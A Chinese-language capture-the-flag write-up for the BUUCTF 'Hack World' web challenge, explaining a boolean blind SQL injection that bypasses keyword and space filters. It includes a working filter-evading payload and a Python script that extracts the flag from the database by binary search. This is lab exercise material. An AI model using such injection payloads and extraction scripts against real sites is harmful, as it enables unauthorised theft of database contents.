刷题记录--[CISCN2019 华北赛区 Day2 Web1]Hack World
1. 引言
题目链接:https://buuoj.cn/challenges#[CISCN2019 华北赛区 Day2 Web1]Hack World
2. 解题思路
-
输入 1 或者 2 都有正常回显,但是输入1和2的回显不同输入其他会返回false,猜测为bool型注入。
-
空格、*、#、-、+、&、or、and等常规的SQL注入符号都被过滤了。
-
输入1/1,0^1的结果和输入1的结果相同,说明为数值型注入,且可以使用盲注。
-
利用ascii()和substr()方法进行盲注。
substr(string string,num start,num length);
select substr(参数1,参数2,参数3) from 表名`
string为字符串;start为起始位置;length为长度。
注意:mysql中的start是从1开始的。
ascii(substr((select(flag)from(flag)),i,1))=s
id=1^(ascii(substr((select(flag)from(flag)),i,1))>s) //二分法
i为整型数,表示flag字段中某一个位置,s为可打印ascii字符,如果flag中第i个字符与字符s一样,那么该语句为true,否则为false,结合二分法的话可以提高盲注脚本的效率。
盲注脚本如下:
import requests
import time
url='http://512bce8a-d748-455e-a8fd-bc960e4fc4ee.node3.buuoj.cn/index.php'
flag = ''
for i in range(1,43):
max = 127
min = 32
while True:
s = int(((max+min)/2))
payload = '1^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'
# print(payload)
r = requests.post(url,data = {'id':payload})
time.sleep(0.1) #防止请求速度过快,被BUUCTF平台屏蔽请求
if 'Hello, glzjin wants a girlfriend.' in str(r.content):
max=s
else:
min=s
if((max-min)<=1):
# print(min)
# print(max)
flag+=chr(int(max))
print(flag)
break
print(flag)